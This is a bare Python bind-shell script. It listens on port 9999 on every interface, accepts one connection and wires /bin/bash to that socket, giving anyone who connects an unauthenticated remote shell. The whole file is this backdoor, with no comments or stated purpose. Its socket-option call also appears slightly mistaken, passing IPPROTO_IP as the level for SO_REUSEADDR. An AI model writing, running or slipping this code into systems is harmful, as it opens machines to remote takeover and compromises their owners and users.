#!/usr/bin/env python

import socket
import subprocess

s = socket.socket(socket.AF_INET)
s.setsockopt(socket.IPPROTO_IP, socket.SO_REUSEADDR, 1)
s.bind(("", 9999))
s.listen(1)
(conn, address) = s.accept()

p = subprocess.Popen(["/bin/bash"],
                     stdin=conn, stdout=conn, stderr=conn)